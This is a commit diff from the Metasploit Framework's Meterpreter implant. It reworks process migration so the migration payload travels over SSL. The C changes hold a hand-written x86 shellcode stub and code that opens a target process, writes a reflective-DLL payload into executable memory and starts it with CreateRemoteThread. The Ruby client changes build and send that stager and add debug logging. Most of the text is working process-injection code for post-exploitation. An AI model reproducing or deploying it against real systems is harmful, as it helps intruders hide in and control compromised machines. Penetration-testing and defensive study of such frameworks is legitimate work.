Transfer the migration payload over SSL, still working on a crash bug after migration completes
git-svn-id: file:///home/svn/framework3/trunk@6756 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
c846f02c79
commit
7b516e06fe
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -181,6 +181,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
|||
if ((packet_get_tlv_string(inPacket, TLV_TYPE_METHOD, &methodTlv)
|
||||
!= ERROR_SUCCESS))
|
||||
break;
|
||||
dprintf("Processing method %s", methodTlv.buffer);
|
||||
|
||||
// Get the request identifier if the packet has one.
|
||||
if (packet_get_tlv_string(inPacket, TLV_TYPE_REQUEST_ID,
|
||||
|
@ -216,6 +217,7 @@ DWORD command_process_remote(Remote *remote, Packet *inPacket)
|
|||
res = command_call_dispatch(current, remote, inPacket);
|
||||
}
|
||||
|
||||
dprintf("Calling completion handlers...");
|
||||
// Finally, call completion routines for the provided identifier
|
||||
if (((packet_get_type(inPacket) == PACKET_TLV_TYPE_RESPONSE) ||
|
||||
(packet_get_type(inPacket) == PACKET_TLV_TYPE_PLAIN_RESPONSE)) &&
|
||||
|
|
|
@ -620,12 +620,15 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
DWORD threadId;
|
||||
DWORD result = ERROR_SUCCESS;
|
||||
DWORD pid;
|
||||
PUCHAR payload;
|
||||
DWORD payloadBytesLeft;
|
||||
DWORD bytesRead;
|
||||
|
||||
// Bug fix for Ticket #275: recv the migrate payload into a RWX buffer instead of straight onto the stack (Stephen Fewer).
|
||||
BYTE stub[] =
|
||||
"\x8B\x74\x24\x04" // mov esi,[esp+0x4] ; ESI = MigrationStubContext *
|
||||
"\x89\xE5" // mov ebp,esp ; create stack frame
|
||||
"\x81\xEC\x00\x10\x00\x00" // sub esp, 0x1000 ; alloc space on stack
|
||||
"\x81\xEC\x00\x40\x00\x00" // sub esp, 0x4000 ; alloc space on stack
|
||||
"\x8D\x4E\x20" // lea ecx,[esi+0x20] ; ECX = MigrationStubContext->ws2_32
|
||||
"\x51" // push ecx ; push "ws2_32"
|
||||
"\xFF\x16" // call near [esi] ; call loadLibrary
|
||||
|
@ -643,21 +646,10 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
"\x97" // xchg eax,edi ; edi now = our duplicated socket
|
||||
"\xFF\x76\x1C" // push dword [esi+0x1C] ; push our event
|
||||
"\xFF\x56\x18" // call near [esi+0x18] ; call setevent
|
||||
"\x8B\x5E\x08" // mov ebx,[esi+0x8] ; buffer total length
|
||||
"\x8B\x6E\x04" // mov ebp,[esi+0x4] ; buffer address
|
||||
"\x55" // push ebp ; save address for return
|
||||
"\x6A\x00" // push byte +0x0 ; recv flags
|
||||
"\x53" // push ebx ; remaining length to read
|
||||
"\x55" // push ebp ; current buffer pointer
|
||||
"\x57" // push edi ; socket
|
||||
"\xFF\x56\x14" // call dword near [esi+0x14]; recv
|
||||
"\x01\xC5" // add ebp,eax ; buffer address += bytes received
|
||||
"\x29\xC3" // sub ebx,eax ; remaining length -= bytes received
|
||||
"\x85\xDB" // test ebx,ebx ; test remaining length
|
||||
"\x75\xF0" // jnz 0x7 ; continue if we have more to read
|
||||
"\xC3" // ret ; return into the received buffer
|
||||
"\x90\x90"; // nop; nop;
|
||||
|
||||
"\xFF\x76\x04" // push dword [esi+0x04] ; push the address of the payloadBase
|
||||
"\x59" // pop ecx ; pop the address into a register
|
||||
"\xFF\xD1"; // call ecx ; call the payload
|
||||
|
||||
// Get the process identifier to inject into
|
||||
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);
|
||||
|
||||
|
@ -684,7 +676,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
|
||||
do
|
||||
{
|
||||
// Open the process so that we can duplicate shit into it
|
||||
// Open the process so that we can into it
|
||||
if (!(process = OpenProcess(
|
||||
PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION |
|
||||
PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, pid)))
|
||||
|
@ -726,7 +718,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
|
||||
strcpy(context.ws2_32, "ws2_32");
|
||||
|
||||
// Allocate storage for the stub and the context
|
||||
// Allocate storage for the stub and context
|
||||
if (!(dataBase = VirtualAllocEx(process, NULL, sizeof(MigrationStubContext) + sizeof(stub), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE)))
|
||||
{
|
||||
result = GetLastError();
|
||||
|
@ -759,10 +751,47 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
// successfully migrated and are reaching the point of no return
|
||||
packet_transmit_response(result, remote, response);
|
||||
|
||||
// Receive the actual encoded payload over the SSL socket
|
||||
if (!(payload = (PUCHAR)malloc(context.payloadLength)))
|
||||
{
|
||||
SetLastError(ERROR_NOT_ENOUGH_MEMORY);
|
||||
break;
|
||||
}
|
||||
|
||||
payloadBytesLeft = context.payloadLength;
|
||||
|
||||
// Read the payload
|
||||
while (payloadBytesLeft > 0)
|
||||
{
|
||||
if ((bytesRead = ssl_read(&remote->ssl,
|
||||
payload + context.payloadLength - payloadBytesLeft,
|
||||
payloadBytesLeft)) <= 0)
|
||||
{
|
||||
if(bytesRead == POLARSSL_ERR_NET_TRY_AGAIN) continue;
|
||||
|
||||
if (GetLastError() == WSAEWOULDBLOCK)
|
||||
continue;
|
||||
|
||||
if (!bytesRead)
|
||||
SetLastError(ERROR_NOT_FOUND);
|
||||
|
||||
break;
|
||||
}
|
||||
|
||||
payloadBytesLeft -= bytesRead;
|
||||
}
|
||||
|
||||
// Write this payload into the target process's memory
|
||||
if (!WriteProcessMemory(process, context.payloadBase, payload, context.payloadLength, NULL))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
|
||||
response = NULL;
|
||||
|
||||
// Create the thread in the remote process
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 0, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
||||
if (!(thread = CreateRemoteThread(process, NULL, 1024*1024, (LPTHREAD_START_ROUTINE)codeBase, dataBase, 0, &threadId)))
|
||||
{
|
||||
result = GetLastError();
|
||||
break;
|
||||
|
@ -775,6 +804,7 @@ DWORD remote_request_core_migrate(Remote *remote, Packet *packet)
|
|||
result = GetLastError();
|
||||
break;
|
||||
}
|
||||
dprintf("Shutting down the Meterpreter thread...");
|
||||
|
||||
// Exit the current process now that we've migrated to another one
|
||||
ExitThread(0);
|
||||
|
|
|
@ -26,4 +26,16 @@
|
|||
#include "scheduler.h"
|
||||
|
||||
|
||||
static void dprintf(char *format, ...) {
|
||||
va_list args;
|
||||
char buffer[1024];
|
||||
va_start(args,format);
|
||||
|
||||
vsnprintf(buffer, sizeof(buffer)-3, format,args);
|
||||
strcat(buffer, "\r\n");
|
||||
OutputDebugString(buffer);
|
||||
}
|
||||
|
||||
|
||||
|
||||
#endif
|
||||
|
|
|
@ -56,29 +56,35 @@ DWORD __declspec(dllexport) Init(SOCKET fd)
|
|||
SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0);
|
||||
|
||||
// Initialize SSL on the socket
|
||||
dprintf("Negotiating SSL...");
|
||||
negotiate_ssl(remote);
|
||||
|
||||
// Register extension dispatch routines
|
||||
dprintf("Registering dispatch routines...");
|
||||
register_dispatch_routines();
|
||||
|
||||
dprintf("Entering the monitor loop...");
|
||||
// Keep processing commands
|
||||
res = monitor_loop(remote);
|
||||
|
||||
dprintf("Deregistering dispatch routines...");
|
||||
// Clean up our dispatch routines
|
||||
deregister_dispatch_routines();
|
||||
|
||||
} while (0);
|
||||
|
||||
dprintf("Closing down SSL...");
|
||||
ssl_close_notify(&remote->ssl);
|
||||
ssl_free(&remote->ssl);
|
||||
|
||||
if (remote)
|
||||
remote_deallocate(remote);
|
||||
|
||||
}
|
||||
|
||||
/* Invoke the fatal error handler */
|
||||
__except(exceptionfilter(GetExceptionCode(), GetExceptionInformation())) {
|
||||
|
||||
dprintf("*** exception triggered!");
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
return res;
|
||||
|
@ -109,8 +115,11 @@ DWORD negotiate_ssl(Remote *remote)
|
|||
ssl_set_ciphers( ssl, ssl_default_ciphers );
|
||||
ssl_set_session( ssl, 1, 60000, ssn );
|
||||
|
||||
/* This wakes up the ssl.accept() on the remote side */
|
||||
|
||||
dprintf("Sending a HTTP GET request to the remote side...");
|
||||
/* This wakes up the sock.ssl.accept() on the remote side */
|
||||
while(ssl_write(ssl, "GET / HTTP/1.0\r\n\r\n", 18) == POLARSSL_ERR_NET_TRY_AGAIN) {}
|
||||
dprintf("Completed writing the HTTP GET request");
|
||||
|
||||
return(0);
|
||||
}
|
||||
|
|
|
@ -133,10 +133,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
// wont work if we have used Reflective DLL Injection as metsrv.dll will be 'invisible' to these functions.
|
||||
remote->hMetSrv = hAppInstance;
|
||||
|
||||
dprintf("Calling init()...");
|
||||
// Call the init routine in the library
|
||||
if( init )
|
||||
res = init(remote);
|
||||
|
||||
dprintf("Called init()...");
|
||||
}
|
||||
|
||||
} while (0);
|
||||
|
@ -148,6 +149,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet)
|
|||
packet_transmit(remote, response, NULL);
|
||||
}
|
||||
|
||||
dprintf("Returning back to cmd handler...");
|
||||
return res;
|
||||
}
|
||||
|
||||
|
|
|
@ -77,11 +77,27 @@ class Client
|
|||
self.parser = PacketParser.new
|
||||
self.ext = ObjectAliases.new
|
||||
self.ext_aliases = ObjectAliases.new
|
||||
self.response_timeout = to
|
||||
|
||||
# Switch the socket to SSL mode
|
||||
swap_sock_plain_to_ssl()
|
||||
|
||||
# XXX: Determine when to enable SSL here
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
|
||||
monitor_socket
|
||||
end
|
||||
|
||||
def swap_sock_plain_to_ssl
|
||||
begin
|
||||
# Create a new SSL session on the existing socket
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(sock, generate_ssl_context())
|
||||
ctx = generate_ssl_context()
|
||||
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
|
||||
|
||||
# This won't fire until there is remote data
|
||||
ssl.accept
|
||||
|
@ -96,27 +112,20 @@ class Client
|
|||
rescue ::Exception => e
|
||||
$stderr.puts "SSL Error: #{e} #{e.backtrace}"
|
||||
end
|
||||
|
||||
self.response_timeout = to
|
||||
|
||||
register_extension_alias('core', ClientCore.new(self))
|
||||
|
||||
initialize_inbound_handlers
|
||||
initialize_channels
|
||||
|
||||
# Register the channel inbound packet handler
|
||||
register_inbound_handler(Rex::Post::Meterpreter::Channel)
|
||||
|
||||
monitor_socket
|
||||
end
|
||||
|
||||
def swap_sock_ssl_to_plain
|
||||
self.sock = self.sock.fd
|
||||
self.sock.extend(::Rex::Socket::Tcp)
|
||||
self.sock.sslsock = nil
|
||||
self.sock.sslctx = nil
|
||||
end
|
||||
|
||||
|
||||
def generate_ssl_context
|
||||
key = OpenSSL::PKey::RSA.new(512){ }
|
||||
|
||||
key = OpenSSL::PKey::RSA.new(1024){ }
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = rand(0xFFFFFFFF)
|
||||
cert.serial = rand(0xFFFFFFFF)
|
||||
# name = OpenSSL::X509::Name.new([["C","JP"],["O","TEST"],["CN","localhost"]])
|
||||
subject = OpenSSL::X509::Name.new([
|
||||
["C","US"],
|
||||
|
|
|
@ -167,33 +167,47 @@ class ClientCore < Extension
|
|||
#
|
||||
def migrate( pid )
|
||||
|
||||
c = Class.new( Msf::Payload )
|
||||
|
||||
c.include( Msf::Payload::Stager )
|
||||
|
||||
c.include( Msf::Payload::Windows::ReflectiveDllInject )
|
||||
# Create a new payload stub
|
||||
c = Class.new( ::Msf::Payload )
|
||||
c.include( ::Msf::Payload::Stager )
|
||||
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
|
||||
|
||||
# Create the migrate stager
|
||||
migrate_stager = c.new()
|
||||
|
||||
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.dll" )
|
||||
|
||||
payload = migrate_stager.stage_payload
|
||||
|
||||
# Send the migration request
|
||||
request = Packet.create_request( 'core_migrate' )
|
||||
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
|
||||
|
||||
request.add_tlv( TLV_TYPE_MIGRATE_LEN, payload.length )
|
||||
|
||||
response = client.send_request( request )
|
||||
|
||||
|
||||
# Stop the socket monitor
|
||||
client.dispatcher_thread.kill if client.dispatcher_thread
|
||||
|
||||
# flush the receive buffer just in case
|
||||
buff = client.sock.get_once(-1, 1)
|
||||
|
||||
# Send the payload over SSL
|
||||
client.sock.write( payload )
|
||||
client.sock.flush
|
||||
|
||||
# Now communicating with the new process
|
||||
|
||||
# Renegotiate SSL over this socket
|
||||
client.swap_sock_ssl_to_plain()
|
||||
client.swap_sock_plain_to_ssl()
|
||||
|
||||
# Restart the socket monitor
|
||||
client.monitor_socket
|
||||
|
||||
# Give the stage some time to transmit
|
||||
Rex::ThreadSafe.sleep( 5 )
|
||||
|
||||
# Load all the extensions that were loaded in the previous instance
|
||||
client.ext.aliases.keys.each { |e|
|
||||
client.ext.aliases.keys.each { |e|
|
||||
$stderr.puts "loading extension #{e}"
|
||||
client.core.use(e)
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue